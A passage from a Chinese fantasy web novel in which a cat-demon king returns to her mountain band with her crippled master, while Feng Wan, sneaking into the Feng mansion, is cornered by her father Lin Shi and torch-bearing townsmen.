她恍惚间意识到,自己这些年似乎都生活在一个巨大的谎言里。 曾经她以为这无非就是林时怕她离开才编织的善意的谎言,可如今细想她才惊觉,这谎言里恐怕连一丝善意都没有。 林时的嘴里,从没有一句真话。 风妧忽然意识到。 所以,就算她现在去问他为什么,也问不出来的。 他什么都不会告诉她。 甚至可能会在众人要烧死她的时候,出来添一把火。 因为林时在山上的时候,真的对她动了杀心。 风妧攥紧拳头,脸色苍白得可怕。 “风妧?风妧,你还好吗?”小狐狸担心的为风妧擦掉额头上的冷汗。 风妧却反手拉住她的手:“阿琅,走,陪我去一趟风府。” “我们不走正门,我们偷偷摸进去。” 有些事情,林时不说,但她自己会想办法去查。 幸好这些年她一直没有放弃暗中努力,所以现在她还有一副好身手,可以让她神不知鬼不觉的潜回风府。 也幸好这些年她在平安镇上没少溜达,所以对平安镇的地形了解得不能再了解。 哪里有出入口,哪里有缺口断墙,甚至哪里有狗洞,她都一清二楚。 “我们先去风府,我潜进去找点东西,你在外面等我,我出来了我们再悄悄地去杂货店顺些绳子回去。” 反正只要把银子留下,就没人能告她们强买强卖。 横竖又没人知道是她们干的。 小狐狸想了想,重重的点头:“好!我陪你回风府!” 风妧摇摇头:“不,不是回风府,是去风府。” 如果不出意外的话,她应该永远都回不了风府了。 风府本该是她的家,但她早就没有家了。 小狐狸拍了拍风妧的肩,无声的安慰着她。 很快二人便果真按风妧的计划行事,她俩找了个无人知晓的狗洞,愣是无声无息的钻回了平安镇。 而此时的平安镇上,家家户户依然紧闭门窗,路上几乎没有行人,这倒是方便了风妧和小狐狸的行动。 但与此同时,平安镇上的巡逻队,正在举着火把全镇来回巡视 风妧此时已经平复了心情,她先撕下了衣摆给自己和小狐狸蒙上了脸,然后带着她,翻进了风府反围墙。 风府院内正摆着香案,还有一群道士和尚正在吹吹打打的做超度道场,府里大部分人都去凑那边的热闹了。 林时本人也在人群里唱念做打,一副悲痛欲绝的样子直呼“我苦命的儿”,看得众人都红了眼眶。 更有感性的人潸然泪下,又在暗中感慨,天下慈父莫过于此,白发人送黑发人,多叫人心酸呐! 然而在众人口中俨然已经被送走的风妧却没空看他们的表演。 她带着小狐狸猫着腰翻回自己房间,用刚自学的手决打开了新的暗格。 暗格里,有一沓崭新的符箓。 风妧带上符箓,又熟门熟路的摸出夜行服,跟小狐狸一人一套,再蒙上脸,直奔风府藏书阁。 * 当风妧和小狐狸在平安镇上忙活的时候,山上也正忙着。 白三姑变回原型,背着一个装满了草药和干粮的包袱,挥挥翅膀,在悬崖边振翅飞下。 三参把根扎在悬崖边朝她大喊:“三姑!你一定要找到大王啊!” “要是她受伤了,就给她抹药,要是她饿了,就给她吃饭!你也记得上来跟我们报信啊!” 白三姑:“好!三参,你们等着我的消息!” 巨大的白鸽展翅飞下悬崖,不多时就冲破了山腰的云雾,再也看不见了。 三参带着两队小妖,就紧张又忐忑的守在悬崖边。 小泉峰上,桃子和板板则用自己当初刚投奔东坡子洞时学会的技巧,教大家如何齐心协力的做手工。 “搓绳子不难的,编绳梯也不难!难的是要编结实!一定不能散架!我们现在就来学这个!” “等风妧和阿琅带着绳子回来了,我们一起搓绳梯,一定要搓得又快又好!” 她俩已经从当初懵懂的植物小妖,变成了如今东坡子洞里有头有脸的后勤先锋,不仅有“官位”了,也能担当大任了。 站在众妖中间,桃子和板板振臂一呼:“早日学会搓绳梯,早日带大王回家!” 小妖们便跟着山呼:“带大王回家!” 而后就在桃子和板板的带领下忙着学搓绳子,打结,造梯子。 她们这边忙活着,胡图就带着手下的小斥候们,分作两队,分别在山腰和蛮牛原先那座山上来回往返,为大家传递实时消息。 “白总管已经飞下去了!她很快就能找到大王!” “快些学搓绳梯!练会了才好接大王回家!” “报!风妧和胡文书已经进城了!不过不知道为什么好像没有走正门,让我们也别跟着!” “什么?算了,风妧和阿琅做事总有她们的道理,你们继续回去,在城门口看着点就行!” “等她们买好绳子,你们也速速帮忙,马上把绳子带上山来!” “得令!” 蛮牛原先的山头这边。 衔蝉背着风朔卷着轮椅,爬了半天的山,终于又回到了熟悉又陌生的敌妖地盘。 “师尊,这里原先是那头死野牛的地盘,咱们小心点摸进去看看情况。” 看着猫紧张得胡须和耳朵都冒出来了的样子,风朔拍了拍她的肩:“嗯,别担心,我的结界符今日还能再画十数次。” 只要结界符没破,大天师之下,就没人能发现她和衔蝉的踪迹。 衔蝉定了定神,心里顿时多了几分底气。 她一路直奔蛮牛洞府。 “吔,奇怪了,怎么一路上都没有看到巡逻的小妖?” “不会全都被降妖师杀光了吧?” 衔蝉心里直嘀咕,但又不敢往下深想,只能加快脚步往蛮牛的洞府那边跑。 如果说那些降妖师还在的话,大概率会在那边商量事情。 衔蝉现在跑过去,说不定还能听一耳朵有效消息。 但猫万万没想到,这边居然也一个妖都没有! “真是怪事了!怎么会一个妖都没有了?!” 衔蝉心里一紧。 “不好!不管这边了!还是先回东坡子洞吧!” 蛮牛这边都这样了,那她们东坡子洞呢?! 猫拼命在心里祈祷,天灵灵地灵灵,希望大家都没事行不行 先前那些地道,可千万要派上用场啊! 等等,那些降妖师不会掀了地皮追着杀吧?! 越想越忐忑,衔蝉有点想掐猫中了。 她脚下生风,火箭似的从这边山头飞速掠过,一刻都没有多停留,当然也没心思去自己当初坠崖的地方缅怀些什么。 也正因此,她恰好就跟白三姑等妖完美错开。 风朔倒是察觉到了一些聚集的妖气,但她现在又不认识东坡子洞的妖,只当是蛮牛的残部,便也没提醒衔蝉。 于是衔蝉马不停蹄的赶到了小泉峰山下。 站在山脚,衔蝉快要跳出胸腔的心一下子就落回去三分——太好了,山脚的迷踪阵还在! 这是不是说明,小泉峰上受到的破坏没那么大? 也许,降妖师们是从蛮牛这边上的山,完全没去小泉峰呢? 想想也不是不可能啊!毕竟谁都知道她们最南边那几座山又穷又荒,鸟都不去那边拉屎的! 衔蝉正在心底寻思呢,风朔却眉头一皱。 “不好,这阵法是你们布下的吗?” 衔蝉点点头,心瞬间又提了起来:“是啊,是我们布的迷踪阵,师尊,这个阵法有问题吗?” “大有问题。”风朔皱眉:“阵法有多处残缺,看上去像是被人刻意破坏过。” 在她眼里,这就是个到处都是窟窿眼的残阵,跟被人用炮轰过没什么两样。 根据她的经验,只有那些被人暴力破开的阵法,才会有如此惨烈的景象。 衔蝉:“欸?” 她有点懵:“这个阵法被破坏过吗?” 她咋没看出来呀!这跟她当初走的时候没啥区别嘛! 这下轮到风朔沉默了。 她迟疑了一瞬:“嗯,乖徒,你是说,这个阵法跟你离开的时候,一模一样?确定没有记错?” 她这么一问,衔蝉也紧张起来:“是啊,师尊,它是不是受到了什么肉眼看不出来但实际却很伤筋动骨的大破坏?!” 猫紧张得耳朵都撇下去了:“或者被降妖师安插了什么反弹之类的机关,看上去没有变化但我们一靠近就会被日一声打成糊糊?!” 那这脚她是该踏出去还是该收回来啊?! 风朔又沉默了一会。 片刻后,她心情复杂的叹息一声。 “那倒也没有。” “算了,只要跟你记忆里是一样的,那就没有问题,走吧。” 心里却想,不行,回头得狠狠给爱徒补一补阵法课。 看看这阵法布得! 她这辈子都没见过有这么多漏洞的迷踪阵! 但要从刁钻点的角度来看,这阵法破成这样居然也能七零八落的运行起来,她这爱徒在另一重意义上又何尝不是个天才 风朔摇了摇头,不再多嘴。 得了她的准话,衔蝉的脚也终于落了下去。 她一脚踩在阵法里,再跟个猴一样在迷踪阵里乱窜。 按照口诀七拐八绕的走了没几步,衔蝉就被绊了个踉跄,差点摔在地上。 但她平衡性非常好,一拧身子就稳住了自己和背上的师尊。 低头看了看绊倒自己的罪魁祸首,衔蝉大吃一惊。 这小土包咋这么眼熟啊! 这不是胡图的兔子洞嘛! 还是急着赶路没来得及掩盖的那种! 等等,她怎么记得以前这条路上胡图没有打洞的呀? 纳闷了一会,衔蝉干脆试探了喊了一声:“胡图?你在吗?” 噗的一声闷响。 矮小的土包包上乍一下冒出一颗黑色的兔脑袋。 黑兔子口吐人言:“谁喊我们先锋?我们胡先锋在前面呢!你有什么事大大大大王?!!” 黑色的兔子猛地从土包里跳出来,在地上一翻滚,就变作一个黑衣少年人,冲着衔蝉就来。 “大王!!您还活着!!太好了!!” 她两腿一软,抱着衔蝉的大腿又哭又笑:“太好了大王!您果然没事!您真的回来了!” 她化形都还没化完全,一双黑兔子耳朵随着她的动作一晃一晃的直戳衔蝉的腰。 衔蝉被戳得有点痒痒,但她也认出了这个黑兔妖。 这不是胡图手下的小将嘛! 她正要开口,黑兔子就攒足了劲扯着嗓子大喊起来:“大王回来啦!!大王回来啦!!” 这下不得了了,原本还算平静的地面噗噗噗直响,一时之间冒出了好些个兔脑袋。 其中一颗灰色的兔脑袋格外的眼熟。 胡图叫得比黑兔子还大声,简直是声泪俱下:“大王!!大王啊!!” 她几乎说不出囫囵话,一边嚎啕大哭,一边咚的一声跳到衔蝉脚面上直抹泪。 她一哭,所有小兔妖也跟着哭起来,哭两声又笑两声,可瘆人。 衔蝉就被她们围在中间,跟七八双朦朦胧胧的泪眼大眼瞪小眼。 这怎么整得跟开席了一样。 猫心想。 这可不大吉利啊。 “别哭了别哭了,我没事,我好着呢。” 衔蝉双手没空,便召出一颗软化了刺的藿麻,分出几根枝丫,把几个又哭又笑的兔妖搀扶起来。 胡图正在那嚎呢,忽然被扶了一下,她下意识的扭头一看,嚯的一下就跳了起来。 “大王未归我们现在暂时不收新妖请下次再来嗷!” 等等!大王现在回来了啊! 胡图刷拉一下抹掉眼泪,目光炯炯看向衔蝉:“大王!您回来了,咱又能招新妖了么!” 这也是她的业绩范围呐!这活她熟啊! 衔蝉哭笑不得,收回藿麻。 “这不是来投靠的新妖,是我的本命灵植。” “啥是本命灵植?”一群文化不高的小妖面面相觑。 衔蝉一时半会的也跟她们说不清楚。 “唉,这个等会再说吧,洞里怎么样了?隔壁山头遭了降妖师了,咱洞里没事吧?大家都还好吗?” 衔蝉一边带着小妖们往回走,一边问。 胡图蹦跶着跟着她,挨个回答道:“洞里都好!大家都没事!这些天发生的事情有点多,大王听我细细说来。” “降妖师咱山上也来了,但是风妧帮我们拦住了!所以大家没事!” “她拿了个玉佩出来,说是她娘的,然后风氏的降妖师就不敢动我们了!” “不过她们逼风妧说她娘的下落,风妧就跟他们说,除非等你回来,否则她打死不松口。” “所以我们就被风妧保下来了,大家都没事!” “但是风妧为了我们,跟她爹闹翻了大王,您回头劝劝她吧,她这些天嘴上不说,但其实好难过的呢。” “不过她再难过也一直陪着我们,今天她还和阿琅一起下山去买绳子了呢。” “买绳子做什么?做绳梯啊!我们听说您被蛮牛打下悬崖了,就像做绳梯带您回家呢。” 胡图说着又好奇起来:“哎大王,您真的掉下悬崖了吗?没有受伤吧?咦!大王!这是谁呀!你怎么背着她!这东西又是什么!怪模怪样的!” 胡图嘴不停的说了小半天,终于注意到了衔蝉背上的风朔和背后的轮椅,一时顺嘴就问了出来。 第60章 “啊!忘了跟你们介绍了, 这是我师尊!” 一听到大家都没事,衔蝉的心一下子就安安稳稳的放回去了,开始跟胡图等小妖介绍风朔。 并略带部分艺术性加工的讲述自己的崖底奇遇记。 “哈!那头臭野牛, 他把我打下悬崖, 但本大王不仅没事,还拜了个超厉害的师尊!学了很多新本事!” 要不是现在手没空, 衔蝉真想叉腰:“现在本大王学成归来,已经把那头臭野牛揍成死野牛了!” 胡图等小妖听得眼睛爆亮:“哇!大王好厉害!” 衔蝉的尾巴一下子就冒了出来, 竖得笔直。 “咳!也没有很厉害吧,主要是我师尊教得好!” 猫又大声嚷嚷:“以后我师尊就是咱东坡子洞的太上皇,你们都要像尊敬我那样尊敬她,明白没有?” 几个小兔妖眨巴了一下眼睛,然后齐声答道:“明白啦!” 然后齐刷刷的站起来, 合起双爪朝风朔行礼作揖:“见过太上皇!” 风朔低头看了看这些眼神清亮的小妖们,笑着跟她们招了招手。 “都是好孩子,起来吧。” “我来得仓促,也没给你们带什么礼物,就送你们一妖一道保护符咒吧。” 说着,她抬手聚灵, 以指为笔, 快速的给每一个小兔妖都画了一道护身符。 小妖们还懵懂呢,也不知道这意味着什么, 见流光一闪后就没入自己身体消失不见,一个个的还有点茫然。 衔蝉却示意小妖们赶紧道谢:“还不快谢谢太上皇!这个护身符咒能为你们抵挡一次致命伤害,相当于多给你们一条命呢!” 她这么一解释,小妖们这才明白这见面礼有多贵重。 那可是多一条命呀! 当初看到风妧身上有血脉禁咒的保护,大家都可羡慕了, 但现在,她们也有差不多的东西啦! 小妖们喜不自胜,连忙蹦跶到风朔脚下,一叠声的道谢:“多谢太上皇!” 风朔嘴角一弯,摆了摆手表示这不算什么。 对她而言,这还真就是一些随手的见面礼而已。 要不是她现在重伤未愈灵力不足,她还能画更多更高级别的符咒出来呢。 都说吃人嘴软,拿人手短,这话在哪都行得通。 有了这道护身符开道,小兔妖们对风朔的敬仰之情一下子就落到了实处,看她的眼神都亮晶晶的。 胡图还自告奋勇跑回去给大家报喜。 “我跑的最快!我去告诉大家!大王带着太上皇回来了!” 还不忘给手下的小妖们安排明白:“你们也分头去告诉白总管和风妧胡文书,让她们快回来!” “得令!” 小妖们蹦蹦跳跳的分头跑开,眨眼就消失不见,那速度确实够快的。 衔蝉都追不上她们,只能背着风朔走在后面。 “师尊?”小妖们都走远之后,猫喊了一声风朔:“师尊,你怎么了?” 刚刚她的肩膀一下子就被师尊抓紧了,虽然不疼吧,但猫还是很关心师尊的,急忙问她,是不是腿又疼了? 风朔这才反应过来。 她连忙松开先前无意识抓紧了衔蝉肩膀的手。 “没什么。” 她现在只是心里有点忐忑。 “啊?忐忑?师尊你也在担心东坡子洞吗?别担心,胡图都说了,大家都没事的!” 风朔摇摇头,轻叹一声。 胡图的话她也听到了,所以她担心的也不是这个。 她只是又听到了那个孩子的名字,一时之间有些恍惚而已。 其实这时候她基本上已经猜到了风妧的身份,可她又不敢完全确定,怕自己最后空欢喜一场。 毕竟天下同名同姓的人那么多,而且当初害她坠崖的那家伙又心狠手辣,未必会留下她的孩子。 这个风妧,她也不敢百分百确定就是自己当年的阿妧。 这些天听衔蝉说了不少关于这个“风妧”的事情,风朔知道她肯定也是个好孩子。 可如果那真是仇人的孩子顶替了自己的孩子,她还不知道到时候该怎么面对那个孩子呢。 吃了一口新鲜瓜的衔蝉震惊:“啊?!师尊,你的孩子也叫风妧?!是我认识的那个风妧吗?!” 风朔摇头叹息:“我也不知道。” “我的确是当年的平安镇风府家主,也的确与林时有过一子取名风妧。” “但我不敢肯定。” “林时连我都敢下手,我的阿妧他未必会留下,或许还会用他跟别的女人生的孩子顶替我的阿妧的身份。” 所以,她只有亲眼见过了风妧,才敢确定那究竟是自己的孩子,还是仇人的孩子。 衔蝉一听,连忙帮风妧说话:“师尊!不管风妧是不是你的孩子,她都跟林时不是一路人!” 猫趁机告状:“那个林时不是个好东西!我讨厌他!但风妧不一样,她跟林时不一样的。” “林时是个在暗地里打算盘的坏老登,但风妧是好人!我可以保证!” 而且事情也未必那么糟糕嘛,万一风妧就是真正的风妧,就是风朔当年留下的孩子呢? 风朔又叹一声:“总之,先去见见那个孩子再说吧。” 衔蝉用力点头:“嗯嗯!胡图已经派妖去找风妧和阿琅了,她们很快就能回来!” “所以我们先回东坡子洞等她们吧!” 风朔这会心绪有些乱,正好也需要冷静冷静,闻言便点头同意了爱徒的提议。 之后的路上,衔蝉见师尊还是有些恹恹的,便转移话题逗她开心。 “师尊!你知道吗,我们东坡子洞有很多竹屋喔!跟我们在崖底的家很像的!” “我们还有很多片开垦好的田地,粮食作物也有很多不同的种类!” “我们还囤了很多干货,既可以留着过冬,又可以拿去卖钱!” “我们已经靠卖山货赚了很多银子了喔!我还给大家配了刀剑呢!” “前段时间风嗯,我们发了一笔大财,回头我还想给大家配盔甲,配更多兵器!” “欸!师尊师尊!你会练兵吗?” 风朔听了猫一串的东坡子洞家常,心情果然轻松了不少,这时也重新顺着爱徒的话说笑起来。 “嗯,这个嘛,略会一点。” 衔蝉好奇:“略多少?” 风朔想了想,谦虚的答道:“应该会比你想象的略多亿点。” 猫一下子就像挖到了宝藏一样高兴,当场就问:“那师尊能不能帮我们练兵呀?” 她拍马屁:“我们现在都还不怎么强,但要是有师尊的教导,大家一定都会变得更厉害的!” 风朔就想笑:“你都这么说了,那我还能推辞吗?” “再说了,我现在都当上太上皇了,当然要为东坡子洞出点力的。” 衔蝉:“嘿嘿!那就这么说定了嗷!” 风朔笑答:“嗯,就这么说定了。” 说笑间,就已经走到半山腰了。 不等她俩继续往山顶的大本营走去,就见山顶上呼啦啦的窜下一大片的毛山毛海。 其中还夹杂着些挥舞得跟八爪鱼似的枝枝蔓蔓。 几十个小妖,愣是跑出了千军万马的动静。 “大王!!大王您真的回来了呜啊啊啊!!” 回去报信后又带着大家奔过来的胡图跑在最前面,桃子和板板紧随其后,后面还有一大串激动得吱哇乱叫的小妖。 众小妖边哭边笑又嚎又叫的扑过来,围着衔蝉团团转。 “大王您没事吧!听说您还拜了个超厉害的师尊!咱们有太上皇啦?!” 衔蝉看着满地的小妖,清了清嗓子。 “咳咳!大家不要激动!本大王没事,本大王回来啦!” 小妖们安静了一瞬间,然后马上又齐声欢呼起来。 衔蝉又咳一声,示意大家安静。 小妖们果然立刻闭嘴,现场又恢复了安静。 衔蝉又道:“没错!本大王把太上皇也一起带回来了!来!跟太上皇打个招呼!” 小妖们便打躬作揖,齐声喊:“见过太上皇!” 衔蝉紧接着又宣布:“以后太上皇还会带大家练兵!教大家本事!所以所有妖!都必须尊敬太上皇!记住了吗!” 众小妖眼睛亮晶晶:“都记住啦!” 猫满意的点了点头,觉得今天这阵仗不错,没给猫丢脸,整得还挺拉风的。 风朔却没忍住闷笑了两声。 这些个毛手毛脚的小妖们或许是听说大王回来了太激动了,都是用原型跑过来的。 因此从风朔的视角看去,就是一群毛绒绒和绿茵茵,在那整整齐齐的作揖,喊她太上皇。 怎么说呢,有点可爱,又有点想笑。 不过她还没笑几声,头顶又传来一阵咕咕声。 巨大的白鸽背上驮着几个小妖,呼啦一声急速滑翔落地。 一根胖乎乎的大白萝卜从大鸽子背上呲溜一下滑下来,边嚎边往衔蝉这边跑。 “衔蝉!!大王!!你回来啦!你没事真是太好了呜哇!!你再不回来我们都要以为你死了!” 三参激动得萝卜缨子直抖:“你都不知道,我们看到那个悬崖的时候有多难过!” 白三姑也收起翅膀,朝衔蝉走来。 “是啊大王,你没事真是太好了。” 那个万丈悬崖,她都往下飞了好一会了,居然还没飞到底。 但就在她已经能看到崖底时却又听到了三参在崖顶声嘶力竭的大声呼唤。 她在底下听不太清三参在说什么,只能听到山谷里的回音。 于是她想了想,喘了口气歇了一歇,然后又倒回去往上飞。 飞得她翅膀都要麻了,才重新飞回山上。 然后她就听到了这些天听到的最好最好的消息。 白三姑化成人形,上前就将衔蝉拥进怀里。 这是东坡子洞的大王,也是她辛辛苦苦拉扯大的小猫啊。 在得知衔蝉被打落悬崖时,她白天不说什么,但晚上却险些把泪流干。 那天如果小狐狸没有提出要去悬崖下,她自己也会去的。 哪怕只能带回衔蝉的尸体,也总比把她一个猫孤零零的留在崖底好。 万幸,衔蝉平平安安的回来了。 白三姑拥着衔蝉,没多说什么,但衔蝉却能感觉到她有些颤抖。 于是猫老老实实的站在那,让姑姑抱着平复心情。 还在衔蝉背上的风朔:“” 很感人的一幕。 如果她没有也被一起拉过去抱住脑壳的话。 但算了。 这样挺好的。 看到有这么多关心衔蝉的妖,风朔心里还是很高兴的。 片刻后,白三姑松开衔蝉,又恢复了往日的模样。 她挥手招呼大家:“走!回去给大王做好吃的!三参,那个词叫什么来着?” 三参跳起来:“接风洗尘!” “对!给大王接风洗尘!” 于是小妖们都高高兴兴的欢呼起来,又毛毛叠毛毛条条跟条条的呼啦啦涌上山。 不多时,衔蝉就被迎回了东坡子洞。 “大王!你和太上皇先歇一会!我们去给你们做好吃的呀!” 三参开心的帮着衔蝉,把风朔扶回轮椅上,然后自己也蹦蹦跳跳的迈着三条萝卜腿跑出去了。 风朔还看见她跑到洞口的时候就用萝卜缨子咔嚓一声掰断了自己一条萝卜腿。 三参举着一截新鲜的萝卜腿大声问:“锅里还缺不缺新鲜人参?我今天还可以再长二十九次腿喔!” 风朔:“” 衔蝉连忙凑过来悄悄地跟风朔说:“师尊,三参一直把自己当人参来修炼的,你不要说破这个哦。” 风朔没忍住笑了出来:“好,我不会说破的。” “但是她那样不会有问题吗?直接掰一条腿下来,要消耗灵力才能重新长出来吧。” 衔蝉摆手:“没事没事,三参长腿长叶子都很快的,而且在山上不怕灵力不够!” 猫豪气干云一挥手:“等我歇一歇,我就去给大家做一顿瓷实的灵力大餐!” 她的藿麻现在也可以多次催生,只要她灵力够就可以不停的催生,能给大家做超大一锅灵力十足的藿麻羹呢! 风朔闻言,笑着拍了拍猫头。 她俩在山洞里休息,没一会后,小妖们吆喝着,陆陆续续端上来了很多吃食。 她们还搬来一张竹子做的桌子,三两下就把桌子给摆满了。 什么萝卜汤南瓜干鲜桃子烤红薯水煮蛋林林总总摆了一大桌,都是山上常吃的大锅饭。 为了庆祝衔蝉回来,白三姑还杀了只鸡,炖了一锅香得出奇的鸡汤。 在崖底好久没吃上肉的猫抽了抽鼻子,眼泪差点从嘴里炸出来。 “开席开席!”三参端来最后一碗鱼汤,自己也跳到了椅子上。 这时洞里洞外都飘着饭菜香,里面坐不下的小妖们在外面也摆了好几桌,正在等着大王发话了再开动呢。 衔蝉环顾四周,问道:“风妧和阿琅还没回来吗?” 现在就差她俩了。 胡图点点头:“还没呢,她俩去镇子上了,而且先前交待跟随的斥候不要跟着她们,所以一时也联系不上她俩。” 她们其实并没有看见城门口的告示,大老远的就被风妧和小狐狸打发回去了。 所以她们不知道平安镇上正在忙着抓妖,也不知道风妧和小狐狸究竟为什么不让她们跟着。 “不过我也派了新的斥候去接她们了,应该用不了多久就回来了。” 只是上山路远,又要从小南峰翻过几座山头,所以她们可能没那么快回来。 白三姑点点头:“嗯,我给她们留了饭的。” 衔蝉一拍脑袋,得!那还多说什么,连忙招呼大家开吃! 这顿饭可把衔蝉给吃爽了。 今天大家做饭用的都是以前藏在地道里的带灵气的山货,味道那叫一个好。 而且量大管饱,把现在饭量大涨的猫都吃得肚皮溜圆。 一顿饭吃完,猫心满意足的拍拍肚皮,变回原型趴在风朔腿上,跟众小妖们大讲特讲自己这些天的神奇经历。 小妖们一个个听得如痴如醉,听到精彩处还不住喝彩,把个臭屁的猫高兴得尾巴都快变成电线杆了。 风朔也正式跟大家见了面,自此东坡子洞里又多了一位太上皇。 因为有风妧的经历在前,小妖们也没对风朔的人类身份有什么意见,反而很好奇的问了她很多关于降妖师的问题。 风朔也不嫌烦,耐心的跟小妖们讲了许多日后能保命的知识。 于是山上一片和谐,大家都很高兴。 这高兴一直持续到猫终于歇够了,从洞里走出去,要带师尊去看自己的房产和地的时候。 衔蝉推着风朔的轮椅,站在一片狼藉的田边,大怒:“是哪个王八蛋毁了本大王的地?!!” 猫的怒吼声传出了二里地:“是谁?!!” 她的地!!她辛辛苦苦带着大家开垦出来的地!! 地里的粮食作物都没了!!全没了!! 岂有此理! 更过分的是!连山上的房子也被打塌了好多!阵法都被打烂了! 可以说除了小泉峰还算完整之外,小南峰和东山都被打成蜂窝煤了! 别说地里的粮食和房子里的东西了,就连田地本身都被打得坑坑洼洼,房子也塌成一片! 看着自己好不容易带大家修建起的家园如今被打成废墟,猫一下子就怒了! 衔蝉两眼冒火,撸起袖子就要去跟仇人拼命! 白三姑和三参连忙一左一右拉住猫。 “大王!等等啊大王!不要冲动!” “这些都是风氏的降妖师上山的时候干的,那时候我们都躲在小泉峰的地道里,他们人多,我们没拦住他们。” “而且那天还来了三个大玄师,我们全部加起来也打不过啊。” 所以大家只能眼睁睁的看着家园被毁。 要不是后来有风妧挺身而出,小泉峰也一样保不住。 再后来风妧和风氏的人对峙,大家为了不被发现小泉峰上的灵植田,连夜抢收了所有作物。 好不容易等风氏的降妖师走了,大家又急着去找衔蝉,哪里有心思继续耕作。 反正地道里的囤粮还够,大家的重心也就没往这上面放。 所以现在小泉峰上的田里也空荡荡一片,看上去格外的凄凉。 大家七嘴八舌的解释,衔蝉却越听越冒火。 “什么大玄师!大玄师就可以随便闯进别人家里搞破坏吗!凭什么啊他们!” “凭他们是风氏的大玄师。”风朔幽幽叹息。 “风氏作风一向如此。” 仗着自己是天师堂世家就趾高气扬,为所欲为。 她当年就看不惯他们,所以才宁愿被发配成偏远旁支,也不想跟他们做一丘之貉。 衔蝉快要气死了,她握拳:“师尊!我要跟你学更多的本事!然后去找那群王八蛋报仇!” 此仇不报不是好猫! 风朔颔首:“好。” 虽然她也是风氏的人,但她十二万分支持衔蝉的复仇计划。 这本就是天经地义的事情。 风氏之人毁坏衔蝉家园在先,那就别怪衔蝉事后找他们寻仇。 衔蝉气冲冲一锤旁边的大树,给树干都锤穿了:“等风妧和阿琅回来了,我们一起商量这事!” “这个仇我记下了!” 随后顿了顿,又问:“风妧和阿琅怎么还不回来?这都多久了?” 她们都吃完饭又聊了半天,还出来走了一大圈了,这么长的时间,从平安镇上回来完全够了吧? 但她俩怎么还没回来? “要不我们去接她们吧。” 衔蝉用暗示的眼神看了看风朔:“师尊,你要一起去吗?” 风朔:“去。” “好!那我们现在就下山去接她们!再不回来饭都要凉透了!” 说着衔蝉就推起风朔的轮椅往山下走。 * 山下,平安镇。 风妧和小狐狸从狗洞钻回镇上后,扭头就去风府了。 趁着风府正在办超度大会,风妧潜入藏书阁,小狐狸就变回原型装作小白狗在外面替她把风。 刚开始一切顺利。 所有人都在院里看林时一把鼻涕一把泪的表演慈父心肠,并没有人注意到藏书阁这边。 但风妧也不知道怎么回事,进去藏书阁后许久都没有出来。 小狐狸在外面等得既心焦又忐忑,眼看着超度大会都快到尾声了,风妧还没出来。 偏偏这时又有人朝这边走来了。 小狐狸连忙躲在柱子后面学布谷鸟叫,想用暗号告诉风妧快出来,赶紧跑路。 但风妧还没出来,小狐狸却暴露了。 林时顺着符文发热的方向看去,一眼就看到了躲得好好的小狐狸。 “有妖气!那只狐狸也是妖!抓住她!烧死她!” 他一声令下,马上就有一群手持符纸的凡人围住了小狐狸。 小狐狸被吓了一跳,本能的弓起腰背,做出了防御姿态。 林时又喊:“她肯定还有同伙!给我搜!搜出来了一起烧!” 他自己也往藏书阁里走去。 想到风妧还在藏书阁里,小狐狸连忙不顾自身安危,挡在了林时面前。 偏偏这时候风妧又出来了。 她前脚还没迈出门口,林时就指着她大吼大叫起来。 “这就是吃了我女的妖精!她回来吃人了!!快烧死她!!” 当即就有人拿来了一直备着的火把。《 》 60-65 第61章 一群男人点着火把拿着符箓, 包围了风妧和小狐狸。 风妧也没想到自己刚走出藏书阁就被发现了,但事已至此,她只能上前一步, 把小狐狸挡在身后。 然而下一秒小狐狸就从她身后窜出来, 跟她并肩站着,呲开尖牙利爪, 戒备的看着这些手持火把的男人。 “动手!快动手!烧死她们!” 林时指着风妧大喊。 风妧见状,深深地看了一眼林时。 她知道现在说什么都没用, 便从腰间取出了先前从暗格里取出的符箓。 这符箓一拿出来,众人反而愣住了。 他们窃窃私语:“她怎么也有符符不是降妖的吗?她怎么也能用?” 风妧冷笑一声:“我娘留给我的符,我为何不能用?” 林时急忙喝道:“住嘴!不要妖言惑众!” 转头又朝众人喊道:“一定是此妖不知从何处偷了些符纸来唬人的!大家不要怕她!” 风妧气笑了:“林时,我娘画出来的符,你竟也认不出来吗?” 林时下意识的就呵斥道:“逆女!你竟敢直呼我名?!” 话音刚落, 林时就反应过来自己说错了话,连忙又找补道:“你这妖精,竟想用我女儿的身体骗我上当?!” 说着,他就抄起一张定身符朝风妧扔去。 风妧侧身闪开这道符,可很快,更多的符纸又朝她俩涌去! 是那些拿火把的男人, 他们虽然心里有些嘀咕, 但看林时都出手了,便也将自己手中的符纸丢了出去! 一大叠符箓袭来, 风妧和小狐狸对视一眼,随后小狐狸在地上一滚,变成人形,与风妧背对背迎敌。 她俩手上没有武器,但却有的是力气和手段! 风妧抬手打落几张定身符, 又在自己那一叠符箓里翻出了一张烈火符。 这烈火符的等级比定身符高多了,于是它一出来,全场的定身符都在空中燃烧殆尽。 这时候小狐狸又怒吼一声,双手弹出尖利的指甲,露出了一嘴食肉的尖牙。 众人顿时心里一慌。 “不好了!林老爷!这妖孽委实厉害啊!风大人留下的符都被烧干净了!怎么办啊!” 没了能降妖的符箓,他们一群凡人哪敢跟吃人的妖魔硬刚啊?! 尤其是看到小狐狸露出的尖牙利爪后,这些人就更慌了,开始打退堂鼓。 有人心里还嘀咕,怎么风大人留下的符都不管用了?难道是放久了失效了? 要真是那样,大家还打个屁啊!不如先跑吧! 林时也没想到,风妧手里居然也有风朔留下的符箓! 那些真正由风朔亲手画出的符箓,瞬间就将他当年根骨未废时画出的符烧成了灰 她哪怕不在了,她的符纸依然在碾压他。 林时心里恨极,但又不能告诉众人真相,只能继续想办法维持局面。 “不要怕!这妖孽颇有法力,但这里是风府!” 简简单单的一句话,竟真稳住了人心。 想要逃跑的男人们停下了脚步,重新举着火把聚拢在林时身后。 风妧长长的叹息一声:“林时,你都知道我身上有血脉禁咒了,还闹这一出做什么呢?” 有血脉禁咒在,林时想靠这些凡人杀死她是不可能的。 所以白折腾这一通有意义吗? 林时却忽然弯腰笑了起来。 “哈哈哈哈!你这个妖孽!你占着我女儿的身体,就以为自己可以高枕无忧了吗?” “我告诉你不可能!即便是风氏血脉禁咒,也是有限制的!” “你身上的禁咒最多护你三次,三次之后便会消散!” “若你真是风氏后裔,倒还可以回去找长辈为你镌刻新咒,但你一个妖孽,谁会为你再刻这保护咒呢?!” 风朔早就死了,再也没有能为风妧刻下保护咒的人了! 只要他今天在这里耗光咒文的力量,围杀了风妧,一切就都尘埃落定了! 事后风氏就算再来找他麻烦,但人都死了,死无对证! 